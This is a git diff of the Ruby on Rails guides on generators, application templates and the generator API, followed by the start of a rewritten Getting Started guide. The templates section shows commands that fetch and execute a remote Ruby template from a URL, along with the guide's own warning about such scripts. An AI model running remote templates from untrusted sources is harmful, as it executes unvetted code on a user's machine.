+Now if we run the scaffold generator again, we see the `my_helper` generator in
+action:
 
 ```bash
 $ bin/rails generate scaffold Article body:text
-      [...]
+      ...
+      invoke  scaffold_controller
+      ...
       invoke    my_helper
       create      app/helpers/articles_helper.rb
+      ...
 ```
 
-We can notice on the output that our new helper was invoked instead of the Rails default. However one thing is missing, which is tests for our new generator and to do that, we are going to reuse old helpers test generators.
+NOTE: You may notice that the output for the built-in `helper` generator
+includes "invoke test_unit", whereas the output for `my_helper` does not.
+Although the `helper` generator does not generate tests by default, it does
+provide a hook to do so using [`hook_for`][]. We can do the same by including
+`hook_for :test_framework, as: :helper` in the `MyHelperGenerator` class. See
+the `hook_for` documentation for more information.
 
-Since Rails 3.0, this is easy to do due to the hooks concept. Our new helper does not need to be focused in one specific test framework, it can simply provide a hook and a test framework just needs to implement this hook in order to be compatible.
+[`config.generators`]: configuring.html#configuring-generators
+[`hook_for`]: https://api.rubyonrails.org/classes/Rails/Generators/Base.html#method-c-hook_for
 
-To do that, we can change the generator this way:
+### Generators Fallbacks
 
-```ruby
-# lib/generators/rails/my_helper/my_helper_generator.rb
-class Rails::MyHelperGenerator < Rails::Generators::NamedBase
-  def create_helper_file
-    create_file "app/helpers/#{file_name}_helper.rb", <<-FILE
-module #{class_name}Helper
-  attr_reader :#{plural_name}, :#{plural_name.singularize}
-end
-    FILE
-  end
+Another way to override specific generators is by using _fallbacks_. A fallback
+allows a generator namespace to delegate to another generator namespace.
 
-  hook_for :test_framework
-end
-```
+For example, let's say we want to override the `test_unit:model` generator with
+our own `my_test_unit:model` generator, but we don't want to replace all of the
+other `test_unit:*` generators such as `test_unit:controller`.
 
-Now, when the helper generator is invoked and TestUnit is configured as the test framework, it will try to invoke both `Rails::TestUnitGenerator` and `TestUnit::MyHelperGenerator`. Since none of those are defined, we can tell our generator to invoke `TestUnit::Generators::HelperGenerator` instead, which is defined since it's a Rails generator. To do that, we just need to add:
+First, we create the `my_test_unit:model` generator in
+`lib/generators/my_test_unit/model/model_generator.rb`:
 
 ```ruby
-# Search for :helper instead of :my_helper
-hook_for :test_framework, as: :helper
-```
-
-And now you can re-run scaffold for another resource and see it generating tests as well!
+module MyTestUnit
+  class ModelGenerator < Rails::Generators::NamedBase
+    source_root File.expand_path("templates", __dir__)
 
-Customizing Your Workflow by Changing Generators Templates
-----------------------------------------------------------
-
-In the step above we simply wanted to add a line to the generated helper, without adding any extra functionality. There is a simpler way to do that, and it's by replacing the templates of already existing generators, in that case `Rails::Generators::HelperGenerator`.
-
-In Rails 3.0 and above, generators don't just look in the source root for templates, they also search for templates in other paths. And one of them is `lib/templates`. Since we want to customize `Rails::Generators::HelperGenerator`, we can do that by simply making a template copy inside `lib/templates/rails/helper` with the name `helper.rb`. So let's create that file with the following content:
-
-```erb
-module <%= class_name %>Helper
-  attr_reader :<%= plural_name %>, :<%= plural_name.singularize %>
-end
-```
-
-and revert the last change in `config/application.rb`:
-
-```ruby
-config.generators do |g|
-  g.orm             :active_record
-  g.template_engine :erb
-  g.test_framework  :test_unit, fixture: false
-  g.stylesheets     false
-  g.javascripts     false
+    def do_different_stuff
+      say "Doing different stuff..."
+    end
+  end
 end
 ```
 
-If you generate another resource, you can see that we get exactly the same result! This is useful if you want to customize your scaffold templates and/or layout by just creating `edit.html.erb`, `index.html.erb` and so on inside `lib/templates/erb/scaffold`.
-
-Scaffold templates in Rails frequently use ERB tags; these tags need to be
-escaped so that the generated output is valid ERB code.
-
-For example, the following escaped ERB tag would be needed in the template
-(note the extra `%`)...
-
-```ruby
-<%%= stylesheet_include_tag :application %>
-```
-
-...to generate the following output:
-
-```ruby
-<%= stylesheet_include_tag :application %>
-```
-
-Adding Generators Fallbacks
----------------------------
-
-One last feature about generators which is quite useful for plugin generators is fallbacks. For example, imagine that you want to add a feature on top of TestUnit like [shoulda](https://github.com/thoughtbot/shoulda) does. Since TestUnit already implements all generators required by Rails and shoulda just wants to overwrite part of it, there is no need for shoulda to reimplement some generators again, it can simply tell Rails to use a `TestUnit` generator if none was found under the `Shoulda` namespace.
-
-We can easily simulate this behavior by changing our `config/application.rb` once again:
+Next, we use `config.generators` to configure the `test_framework` generator as
+`my_test_unit`, but we also configure a fallback such that any missing
+`my_test_unit:*` generators resolve to `test_unit:*`:
 
 ```ruby
 config.generators do |g|
-  g.orm             :active_record
-  g.template_engine :erb
-  g.test_framework  :shoulda, fixture: false
-  g.stylesheets     false
-  g.javascripts     false
-
-  # Add a fallback!
-  g.fallbacks[:shoulda] = :test_unit
+  g.test_framework :my_test_unit, fixture: false
+  g.fallbacks[:my_test_unit] = :test_unit
 end
 ```
 
-Now, if you create a Comment scaffold, you will see that the shoulda generators are being invoked, and at the end, they are just falling back to TestUnit generators:
+Now when we run the scaffold generator, we see that `my_test_unit` has replaced
+`test_unit`, but only the model tests have been affected:
 
 ```bash
 $ bin/rails generate scaffold Comment body:text
       invoke  active_record
-      create    db/migrate/20130924143118_create_comments.rb
+      create    db/migrate/20230518000000_create_comments.rb
       create    app/models/comment.rb
-      invoke    shoulda
-      create      test/models/comment_test.rb
-      create      test/fixtures/comments.yml
+      invoke    my_test_unit
+    Doing different stuff...
       invoke  resource_route
        route    resources :comments
       invoke  scaffold_controller
@@ -408,307 +433,409 @@ $ bin/rails generate scaffold Comment body:text
       create      app/views/comments/show.html.erb
       create      app/views/comments/new.html.erb
       create      app/views/comments/_form.html.erb
-      invoke    shoulda
+      create      app/views/comments/_comment.html.erb
+      invoke    resource_route
+      invoke    my_test_unit
       create      test/controllers/comments_controller_test.rb
-      invoke    my_helper
+      create      test/system/comments_test.rb
+      invoke    helper
       create      app/helpers/comments_helper.rb
+      invoke      my_test_unit
       invoke    jbuilder
       create      app/views/comments/index.json.jbuilder
       create      app/views/comments/show.json.jbuilder
-      invoke  assets
-      invoke    coffee
-      create      app/assets/javascripts/comments.coffee
-      invoke    scss
 ```
 
-Fallbacks allow your generators to have a single responsibility, increasing code reuse and reducing the amount of duplication.
-
 Application Templates
 ---------------------
 
-Now that you've seen how generators can be used _inside_ an application, did you know they can also be used to _generate_ applications too? This kind of generator is referred as a "template". This is a brief overview of the Templates API. For detailed documentation see the [Rails Application Templates guide](rails_application_templates.html).
+Application templates are a little different from generators. While generators
+add files to an existing Rails application (models, views, etc.), templates are
+used to automate the setup of a new Rails application. Templates are Ruby
+scripts (typically named `template.rb`) that customize new Rails applications
+right after they are generated.
 
-```ruby
-gem "rspec-rails", group: "test"
-gem "cucumber-rails", group: "test"
+Let's see how to use a template while creating a new Rails application.
+
+### Creating and Using Templates
+
+Let's start with a sample template Ruby script. The below template adds Devise
+to the `Gemfile` after asking the user and also allows the user to name the
+Devise user model. After `bundle install` has been run, the template runs the
+Devise generators and also runs migrations. Finally, the template does `git add` and `git commit`.
 
+```ruby
+# template.rb
 if yes?("Would you like to install Devise?")
   gem "devise"
-  generate "devise:install"
-  model_name = ask("What would you like the user model to be called? [user]")
-  model_name = "user" if model_name.blank?
-  generate "devise", model_name
+  devise_model = ask("What would you like the user model to be called?", default: "User")
 end
-```
 
-In the above template we specify that the application relies on the `rspec-rails` and `cucumber-rails` gem so these two will be added to the `test` group in the `Gemfile`. Then we pose a question to the user about whether or not they would like to install Devise. If the user replies "y" or "yes" to this question, then the template will add Devise to the `Gemfile` outside of any group and then runs the `devise:install` generator. This template then takes the users input and runs the `devise` generator, with the user's answer from the last question being passed to this generator.
-
-Imagine that this template was in a file called `template.rb`. We can use it to modify the outcome of the `rails new` command by using the `-m` option and passing in the filename:
+after_bundle do
+  if devise_model
+    generate "devise:install"
+    generate "devise", devise_model
+    rails_command "db:migrate"
+  end
 
-```bash
-$ rails new thud -m template.rb
+  git add: ".", commit: %(-m 'Initial commit')
+end
 ```
 
-This command will generate the `Thud` application, and then apply the template to the generated output.
-
-Templates don't have to be stored on the local system, the `-m` option also supports online templates:
+To apply this template while creating a new Rails application, you need to
+provide the location of the template using the `-m` option:
 
 ```bash
-$ rails new thud -m https://gist.github.com/radar/722911/raw/
+$ rails new blog -m ~/template.rb
 ```
 
-Whilst the final section of this guide doesn't cover how to generate the most awesome template known to man, it will take you through the methods available at your disposal so that you can develop it yourself. These same methods are also available for generators.
+The above will create a new Rails application called `blog` that has Devise gem configured.
 
-Adding Command Line Arguments
------------------------------
-Rails generators can be easily modified to accept custom command line arguments. This functionality comes from [Thor](http://www.rubydoc.info/github/erikhuda/thor/master/Thor/Base/ClassMethods#class_option-instance_method):
-
-```
-class_option :scope, type: :string, default: 'read_products'
-```
-
-Now our generator can be invoked as follows:
+You can also apply templates to an existing Rails application by using
+`app:template` command. The location of the template needs to be passed in via
+the `LOCATION` environment variable:
 
 ```bash
-rails generate initializer --scope write_products
+$ bin/rails app:template LOCATION=~/template.rb
 ```
 
-The command line arguments are accessed through the `options` method inside the generator class. e.g:
+Templates don't have to be stored locally, you can also specify a URL instead
+of a path:
 
-```ruby
-@scope = options['scope']
+```bash
+$ rails new blog -m https://example.com/template.rb
+$ bin/rails app:template LOCATION=https://example.com/template.rb
 ```
 
-Generator methods
------------------
+WARNING: Caution should be taken when executing remote scripts from third parties. Since the template is a plain Ruby script, it can easily contain code that compromises your local machine (such as download a virus, delete files or upload your private files to a server).
 
-The following are methods available for both generators and templates for Rails.
+The above `template.rb` file uses helper methods such as `after_bundle` and
+`rails_command` and also adds user interactivity with methods like `yes?`. All
+of these methods are part of the [Rails Template
+API](https://edgeapi.rubyonrails.org/classes/Rails/Generators/Actions.html). The
+following sections shows how to use more of these methods with examples.
 
-NOTE: Methods provided by Thor are not covered this guide and can be found in [Thor's documentation](http://rdoc.info/github/erikhuda/thor/master/Thor/Actions.html)
+Rails Generators API
+--------------------
 
-### `gem`
+Generators and the template Ruby scripts have access to several helper methods
+using a [DSL](https://en.wikipedia.org/wiki/Domain-specific_language) (Domain
+Specific Language). These methods are part of the Rails Generators API and you
+can find more details at [`Thor::Actions`][] and
+[`Rails::Generators::Actions`][] API documentation.
 
-Specifies a gem dependency of the application.
+Here's another example of a typical Rails template that scaffolds a model, runs
+migrations, and commits the changes with git:
 
 ```ruby
-gem "rspec", group: "test", version: "2.1.0"
-gem "devise", "1.1.5"
+# template.rb
+generate(:scaffold, "person name:string")
+route "root to: 'people#index'"
+rails_command("db:migrate")
+
+after_bundle do
+  git :init
+  git add: "."
+  git commit: %Q{ -m 'Initial commit' }
+end
 ```
 
-Available options are:
+NOTE: All code snippets in the examples below can be used in a template
+file, such as the `template.rb` file above.
 
-* `:group` - The group in the `Gemfile` where this gem should go.
-* `:version` - The version string of the gem you want to use. Can also be specified as the second argument to the method.
-* `:git` - The URL to the git repository for this gem.
+### add_source
 
-Any additional options passed to this method are put on the end of the line:
+The [`add_source`][] method adds the given source to the generated application's `Gemfile`.
 
 ```ruby
-gem "devise", git: "git://github.com/plataformatec/devise", branch: "master"
+add_source "https://rubygems.org"
 ```
 
-The above code will put the following line into `Gemfile`:
+If a block is given, gem entries in the block are wrapped into the source group.
+For example, if you need to source a gem from `"http://gems.github.com"`:
 
 ```ruby
-gem "devise", git: "git://github.com/plataformatec/devise", branch: "master"
+add_source "http://gems.github.com/" do
+  gem "rspec-rails"
+end
 ```
 
-### `gem_group`
+### after_bundle
 
-Wraps gem entries inside a group:
+The [`after_bundle`][] method registers a callback to be executed after the gems
+are bundled. For example, it would make sense to run the "install" command for
+`tailwindcss-rails` and `devise` only after those gems are bundled:
 
 ```ruby
-gem_group :development, :test do
-  gem "rspec-rails"
+# Install gems
+after_bundle do
+  # Install TailwindCSS
+  rails_command "tailwindcss:install"
+
+  # Install Devise
+  generate "devise:install"
 end
 ```
 
-### `add_source`
+The callbacks get executed even if `--skip-bundle` has been passed.
+
+### environment
 
-Adds a specified source to `Gemfile`:
+The [`environment`][] method adds a line inside the `Application` class for
+`config/application.rb`. If `options[:env]` is specified, the line is appended
+to the corresponding file in `config/environments`.
 
 ```ruby
-add_source "http://gems.github.com"
+environment 'config.action_mailer.default_url_options = {host: "http://yourwebsite.example.com"}', env: "production"
 ```
 
-This method also takes a block:
+The above will add the config line to `config/environments/production.rb`.
 
-```ruby
-add_source "http://gems.github.com" do
-  gem "rspec-rails"
-end
-```
+### gem
 
-### `inject_into_file`
+The [`gem`][] helper adds an entry for the given gem to the generated application's
+`Gemfile`.
 
-Injects a block of code into a defined position in your file.
+For example, if your application depends on the gems `devise` and
+`tailwindcss-rails`:
 
 ```ruby
-inject_into_file 'name_of_file.rb', after: "#The code goes below this line. Don't forget the Line break at the end\n" do <<-'RUBY'
-  puts "Hello World"
-RUBY
-end
+gem "devise"
+gem "tailwindcss-rails"
 ```
 
-### `gsub_file`
+Note that this method only adds the gem to the `Gemfile`, it does not install
+the gem.
 
-Replaces text inside a file.
+You can also specify an exact version:
 
 ```ruby
-gsub_file 'name_of_file.rb', 'method.to_be_replaced', 'method.the_replacing_code'
+gem "devise", "~> 4.9.4"
 ```
 
-Regular Expressions can be used to make this method more precise. You can also use `append_file` and `prepend_file` in the same way to place code at the beginning and end of a file respectively.
-
-### `application`
-
-Adds a line to `config/application.rb` directly after the application class definition.
+And you can also add comments that will be added to the `Gemfile`:
 
 ```ruby
-application "config.asset_host = 'http://example.com'"
+gem "devise", comment: "Add devise for authentication."
 ```
 
-This method can also take a block:
+### gem_group
+
+The [`gem_group`][] helper wraps gem entries inside a group. For example, to load `rspec-rails`
+only in the `development` and `test` groups:
 
 ```ruby
-application do
-  "config.asset_host = 'http://example.com'"
+gem_group :development, :test do
+  gem "rspec-rails"
 end
 ```
 
-Available options are:
+### generate
 
-* `:env` - Specify an environment for this configuration option. If you wish to use this option with the block syntax the recommended syntax is as follows:
+You can even call a generator from inside a `template.rb` with the
+[`generate`][] method. The following runs the `scaffold` rails generator with
+the given arguments:
 
 ```ruby
-application(nil, env: "development") do
-  "config.asset_host = 'http://localhost:3000'"
-end
+generate(:scaffold, "person", "name:string", "address:text", "age:number")
 ```
 
-### `git`
+### git
 
-Runs the specified git command:
+Rails templates let you run any git command with the [`git`][] helper:
 
 ```ruby
 git :init
 git add: "."
-git commit: "-m First commit!"
-git add: "onefile.rb", rm: "badfile.cxx"
+git commit: "-a -m 'Initial commit'"
 ```
 
-The values of the hash here being the arguments or options passed to the specific git command. As per the final example shown here, multiple git commands can be specified at a time, but the order of their running is not guaranteed to be the same as the order that they were specified in.
+### initializer, vendor, lib, file
 
-### `vendor`
+The [`initializer`][] helper method adds an initializer to the generated
+application's `config/initializers` directory.
 
-Places a file into `vendor` which contains the specified code.
+After adding the below to the `template.rb` file, you can use `Object#not_nil?`
+and `Object#not_blank?` in your application:
 
 ```ruby
-vendor "sekrit.rb", '#top secret stuff'
-```
-
-This method also takes a block:
+initializer "not_methods.rb", <<-CODE
+  class Object
+    def not_nil?
+      !nil?
+    end
 
-```ruby
-vendor "seeds.rb" do
-  "puts 'in your app, seeding your database'"
-end
+    def not_blank?
+      !blank?
+    end
+  end
+CODE
 ```
 
-### `lib`
+Similarly, the [`lib`][] method creates a file in the `lib/` directory and
+[`vendor`][] method creates a file in the `vendor/` directory.
 
-Places a file into `lib` which contains the specified code.
+There is also a `file` method (which is an alias for [`create_file`][]), which
+accepts a relative path from `Rails.root` and creates all the directories and
+files needed:
 
 ```ruby
-lib "special.rb", "p Rails.root"
+file "app/components/foo.rb", <<-CODE
+  class Foo
+  end
+CODE
 ```
 
-This method also takes a block:
+The above will create the `app/components` directory and put `foo.rb` in there.
+
+### rakefile
+
+The [`rakefile`][] method creates a new Rake file under `lib/tasks` with the
+given tasks:
 
 ```ruby
-lib "super_special.rb" do
-  puts "Super special!"
+rakefile("bootstrap.rake") do
+  <<-TASK
+    namespace :boot do
+      task :strap do
+        puts "I like boots!"
+      end
+    end
+  TASK
 end
 ```
 
-### `rakefile`
+The above creates `lib/tasks/bootstrap.rake` with a `boot:strap` rake task.
+
+### run
 
-Creates a Rake file in the `lib/tasks` directory of the application.
+The [`run`][] method executes an arbitrary command. Let's say you want to remove
+the `README.rdoc` file:
 
 ```ruby
-rakefile "test.rake", "hello there"
+run "rm README.rdoc"
 ```
 
-This method also takes a block:
+### rails_command
+
+You can run the Rails commands in the generated application with the
+[`rails_command`][] helper. Let's say you want to migrate the database at some
+point in the template ruby script:
 
 ```ruby
-rakefile "test.rake" do
-  %Q{
-    task rock: :environment do
-      puts "Rockin'"
-    end
-  }
-end
+rails_command "db:migrate"
 ```
 
-### `initializer`
-
-Creates an initializer in the `config/initializers` directory of the application:
+Commands can be run with a different Rails environment:
 
 ```ruby
-initializer "begin.rb", "puts 'this is the beginning'"
+rails_command "db:migrate", env: "production"
 ```
 
-This method also takes a block, expected to return a string:
+You can also run commands that should abort application generation if they fail:
 
 ```ruby
-initializer "begin.rb" do
-  "puts 'this is the beginning'"
-end
+rails_command "db:migrate", abort_on_failure: true
 ```
 
-### `generate`
+### route
 
-Runs the specified generator where the first argument is the generator name and the remaining arguments are passed directly to the generator.
+The [`route`][] method adds an entry to the `config/routes.rb` file. To make
+`PeopleController#index` the default page for the application, we can add:
 
 ```ruby
-generate "scaffold", "forums title:string description:text"
+route "root to: 'person#index'"
 ```
 
+There are also many helper methods that can manipulate the local file system,
+such as [`copy_file`][], [`create_file`][], [`insert_into_file`][], and
+[`inside`][]. You can see the [Thor API
+documentation](https://www.rubydoc.info/gems/thor/Thor/Actions) for details.
+Here is an example of one such method:
 
-### `rake`
+### inside
 
-Runs the specified Rake task.
+This [`inside`][] method enables you to run a command from a given directory.
+For example, if you have a copy of edge rails that you wish to symlink from your
+new apps, you can do this:
 
 ```ruby
-rake "db:migrate"
+inside("vendor") do
+  run "ln -s ~/my-forks/rails rails"
+end
 ```
 
-Available options are:
-
-* `:env` - Specifies the environment in which to run this rake task.
-* `:sudo` - Whether or not to run this task using `sudo`. Defaults to `false`.
+There are also methods that allow you to interact with the user from the Ruby template, such as [`ask`][], [`yes`][], and [`no`][]. You can learn about all user interactivity methods in the [Thor Shell documentation](https://www.rubydoc.info/gems/thor/Thor/Shell/Basic). Let's see examples of using `ask`, `yes?` and `no?`:
 
-### `capify!`
+### ask
 
-Runs the `capify` command from Capistrano at the root of the application which generates Capistrano configuration.
+The [`ask`][] methods allows you to get feedback from the user and use it in your
+templates. Let's say you want your user to name the new shiny library you're
+adding:
 
 ```ruby
-capify!
+lib_name = ask("What do you want to call the shiny library?")
+lib_name << ".rb" unless lib_name.index(".rb")
+
+lib lib_name, <<-CODE
+  class Shiny
+  end
+CODE
 ```
 
-### `route`
+### yes? or no?
 
-Adds text to the `config/routes.rb` file:
+These methods let you ask questions from templates and decide the flow based on
+the user's answer. Let's say you want to prompt the user to run migrations:
 
 ```ruby
-route "resources :people"
+rails_command("db:migrate") if yes?("Run database migrations?")
+# no? questions acts the opposite of yes?
 ```
 
-### `readme`
+Testing Generators
+------------------
 
-Output the contents of a file in the template's `source_path`, usually a README.
+Rails provides testing helper methods via
+[`Rails::Generators::Testing::Behavior`][], such as:
 
-```ruby
-readme "README"
+* [`run_generator`][]
+
+If running tests against generators you will need to set
+`RAILS_LOG_TO_STDOUT=true` in order for debugging tools to work.
+
+```sh
+RAILS_LOG_TO_STDOUT=true ./bin/test test/generators/actions_test.rb
 ```
+
+In addition to those, Rails also provides additional assertions via
+[`Rails::Generators::Testing::Assertions`][].
+
+[`Rails::Generators::Actions`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html
+[`environment`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-environment
+[`gem`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-gem
+[`generate`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-generate
+[`git`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-git
+[`gsub_file`]: https://www.rubydoc.info/gems/thor/Thor/Actions#gsub_file-instance_method
+[`initializer`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-initializer
+[`insert_into_file`]: https://www.rubydoc.info/gems/thor/Thor/Actions#insert_into_file-instance_method
+[`inside`]: https://www.rubydoc.info/gems/thor/Thor/Actions#inside-instance_method
+[`lib`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-lib
+[`rails_command`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-rails_command
+[`rake`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-rake
+[`route`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-route
+[`Rails::Generators::Testing::Behavior`]: https://api.rubyonrails.org/classes/Rails/Generators/Testing/Behavior.html
+[`run_generator`]: https://api.rubyonrails.org/classes/Rails/Generators/Testing/Behavior.html#method-i-run_generator
+[`Rails::Generators::Testing::Assertions`]: https://api.rubyonrails.org/classes/Rails/Generators/Testing/Assertions.html
+[`add_source`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-add_source
+[`after_bundle`]: https://api.rubyonrails.org/classes/Rails/Generators/AppGenerator.html#method-i-after_bundle
+[`gem_group`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-gem_group
+[`vendor`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-vendor
+[`rakefile`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-rakefile
+[`run`]: https://www.rubydoc.info/gems/thor/Thor/Actions#run-instance_method
+[`copy_file`]: https://www.rubydoc.info/gems/thor/Thor/Actions#copy_file-instance_method
+[`create_file`]: https://www.rubydoc.info/gems/thor/Thor/Actions#create_file-instance_method
+[`ask`]: https://www.rubydoc.info/gems/thor/Thor/Shell/Basic#ask-instance_method
+[`yes`]: https://www.rubydoc.info/gems/thor/Thor/Shell/Basic#yes%3F-instance_method
+[`no`]: https://www.rubydoc.info/gems/thor/Thor/Shell/Basic#no%3F-instance_method
+
diff --git a/guides/source/getting_started.md b/guides/source/getting_started.md
index 8a451ab793ce3..b50d5e1c46e41 100644
--- a/guides/source/getting_started.md
+++ b/guides/source/getting_started.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
 Getting Started with Rails
 ==========================
@@ -12,46 +12,34 @@ After reading this guide, you will know:
 * The general layout of a Rails application.
 * The basic principles of MVC (Model, View, Controller) and RESTful design.
 * How to quickly generate the starting pieces of a Rails application.
+* How to deploy your app to production using Kamal.
 
 --------------------------------------------------------------------------------
 
-Guide Assumptions
------------------
-
-This guide is designed for beginners who want to get started with a Rails
-application from scratch. It does not assume that you have any prior experience
-with Rails. However, to get the most out of it, you need to have some
-prerequisites installed:
-
-* The [Ruby](https://www.ruby-lang.org/en/downloads) language version 2.2.2 or newer.
-* Right version of [Development Kit](http://rubyinstaller.org/downloads/), if you
-  are using Windows.
-* The [RubyGems](https://rubygems.org) packaging system, which is installed with
-  Ruby by default. To learn more about RubyGems, please read the
-  [RubyGems Guides](http://guides.rubygems.org).
-* A working installation of the [SQLite3 Database](https://www.sqlite.org).
+Introduction
+------------
 
-Rails is a web application framework running on the Ruby programming language.
-If you have no prior experience with Ruby, you will find a very steep learning
-curve diving straight into Rails. There are several curated lists of online resources
-for learning Ruby:
+Welcome to Ruby on Rails! In this guide, we'll walk through the core concepts of
+building web applications with Rails. You don't need any experience with Rails
+to follow along with this guide.
 
-* [Official Ruby Programming Language website](https://www.ruby-lang.org/en/documentation/)
-* [List of Free Programming Books](https://github.com/vhf/free-programming-books/blob/master/free-programming-books.md#ruby)
+Rails is a web framework built for the Ruby programming language. Rails takes
+advantage of many features of Ruby so we **strongly** recommend learning the
+basics of Ruby so that you understand some of the basic terms and vocabulary you
+will see in this tutorial.
 
-Be aware that some resources, while still excellent, cover versions of Ruby as old as
-1.6, and commonly 1.8, and will not include some syntax that you will see in day-to-day
-development with Rails.
+- [Official Ruby Programming Language website](https://www.ruby-lang.org/en/documentation/)
+- [List of Free Programming Books](https://github.com/EbookFoundation/free-programming-books/blob/main/books/free-programming-books-langs.md#ruby)
 
-What is Rails?
---------------
+Rails Philosophy
+----------------
 
-Rails is a web application development framework written in the Ruby language.
-It is designed to make programming web applications easier by making assumptions
-about what every developer needs to get started. It allows you to write less
-code while accomplishing more than many other languages and frameworks.
-Experienced Rails developers also report that it makes web application
-development more fun.
+Rails is a web application development framework written in the Ruby programming
+language. It is designed to make programming web applications easier by making
+assumptions about what every developer needs to get started. It allows you to
+write less code while accomplishing more than many other languages and
+frameworks. Experienced Rails developers also report that it makes web
+application development more fun.
 
 Rails is opinionated software. It makes the assumption that there is a "best"
 way to do things, and it's designed to encourage that way - and in some cases to
@@ -62,2034 +50,3171 @@ learned elsewhere, you may have a less happy experience.
 
 The Rails philosophy includes two major guiding principles:
 
-* **Don't Repeat Yourself:** DRY is a principle of software development which
-  states that "Every piece of knowledge must have a single, unambiguous, authoritative
-  representation within a system." By not writing the same information over and over
-  again, our code is more maintainable, more extensible, and less buggy.
-* **Convention Over Configuration:** Rails has opinions about the best way to do many
-  things in a web application, and defaults to this set of conventions, rather than
-  require that you specify minutiae through endless configuration files.
-
-Creating a New Rails Project
-----------------------------
-The best way to read this guide is to follow it step by step. All steps are
-essential to run this example application and no additional code or steps are
-needed.
-
-By following along with this guide, you'll create a Rails project called
-`blog`, a (very) simple weblog. Before you can start building the application,
-you need to make sure that you have Rails itself installed.
-
-TIP: The examples below use `$` to represent your terminal prompt in a UNIX-like OS,
-though it may have been customized to appear differently. If you are using Windows,
-your prompt will look something like `c:\source_code>`
-
-### Installing Rails
-
-Open up a command line prompt. On Mac OS X open Terminal.app, on Windows choose
-"Run" from your Start menu and type 'cmd.exe'. Any commands prefaced with a
-dollar sign `$` should be run in the command line. Verify that you have a
-current version of Ruby installed:
+- **Don't Repeat Yourself:** DRY is a principle of software development which
+  states that "Every piece of knowledge must have a single, unambiguous,
+  authoritative representation within a system". By not writing the same
+  information over and over again, our code is more maintainable, more
+  extensible, and less buggy.
+- **Convention Over Configuration:** Rails has opinions about the best way to do
+  many things in a web application, and defaults to this set of conventions,
+  rather than require that you define them yourself through endless
+  configuration files.
 
-```bash
-$ ruby -v
-ruby 2.3.1p112
-```
+Creating a New Rails App
+------------------------
 
-TIP: A number of tools exist to help you quickly install Ruby and Ruby
-on Rails on your system. Windows users can use [Rails Installer](http://railsinstaller.org),
-while Mac OS X users can use [Tokaido](https://github.com/tokaido/tokaidoapp).
-For more installation methods for most Operating Systems take a look at
-[ruby-lang.org](https://www.ruby-lang.org/en/documentation/installation/).
+We're going to build a project called `store` - a simple e-commerce app that
+demonstrates several of Rails' built-in features.
 
-Many popular UNIX-like OSes ship with an acceptable version of SQLite3.
-On Windows, if you installed Rails through Rails Installer, you
-already have SQLite installed. Others can find installation instructions
-at the [SQLite3 website](https://www.sqlite.org).
-Verify that it is correctly installed and in your PATH:
+TIP: Any commands prefaced with a dollar sign `$` should be run in the terminal.
 
-```bash
-$ sqlite3 --version
-```
+### Prerequisites
 
-The program should report its version.
+For this project, you will need:
 
-To install Rails, use the `gem install` command provided by RubyGems:
+* Ruby 3.2 or newer
+* Rails 8.2.0 or newer
+* A code editor
 
-```bash
-$ gem install rails
-```
+Follow the [Install Ruby on Rails Guide](install_ruby_on_rails.html) if you need
+to install Ruby and/or Rails.
 
-To verify that you have everything installed correctly, you should be able to
-run the following:
+Let's verify the correct version of Rails is installed. To display the current
+version, open a terminal and run the following. You should see a version number
+printed out:
 
 ```bash
 $ rails --version
+Rails 8.2.0
 ```
 
-If it says something like "Rails 5.0.0", you are ready to continue.
+The version shown should be Rails 8.2.0 or higher.
 
-### Creating the Blog Application
+### Creating Your First Rails App
 
-Rails comes with a number of scripts called generators that are designed to make
-your development life easier by creating everything that's necessary to start
-working on a particular task. One of these is the new application generator,
-which will provide you with the foundation of a fresh Rails application so that
-you don't have to write it yourself.
+Rails comes with several commands to make life easier. Run `rails --help` to see
+all of the commands.
 
-To use this generator, open a terminal, navigate to a directory where you have
-rights to create files, and type:
+`rails new` generates the foundation of a fresh Rails application for you, so
+let's start there.
+
+To create our `store` application, run the following command in your terminal:
 
 ```bash
-$ rails new blog
+$ rails new store
 ```
 
-This will create a Rails application called Blog in a `blog` directory and
-install the gem dependencies that are already mentioned in `Gemfile` using
-`bundle install`.
-
-NOTE: If you're using Windows Subsystem for Linux then there are currently some
-limitations on file system notifications that mean you should disable the `spring`
-and `listen` gems which you can do by running `rails new blog --skip-spring --skip-listen`.
+NOTE: You can customize the application Rails generates by using flags. To see
+these options, run `rails new --help`.
 
-TIP: You can see all of the command line options that the Rails application
-builder accepts by running `rails new -h`.
-
-After you create the blog application, switch to its folder:
+After your new application is created, switch to its directory:
 
 ```bash
-$ cd blog
+$ cd store
 ```
 
-The `blog` directory has a number of auto-generated files and folders that make
-up the structure of a Rails application. Most of the work in this tutorial will
-happen in the `app` folder, but here's a basic rundown on the function of each
-of the files and folders that Rails created by default:
+### Directory Structure
+
+Let's take a quick glance at the files and directories that are included in a
+new Rails application. You can open this folder in your code editor or run
+`ls -la` in your terminal to see the files and directories.
 
 | File/Folder | Purpose |
 | ----------- | ------- |
-|app/|Contains the controllers, models, views, helpers, mailers, channels, jobs and assets for your application. You'll focus on this folder for the remainder of this guide.|
-|bin/|Contains the rails script that starts your app and can contain other scripts you use to setup, update, deploy or run your application.|
-|config/|Configure your application's routes, database, and more. This is covered in more detail in [Configuring Rails Applications](configuring.html).|
-|config.ru|Rack configuration for Rack based servers used to start the application.|
+|app/|Contains the controllers, models, views, helpers, mailers, jobs, and assets for your application. **You'll focus mostly on this folder for the remainder of this guide.**|
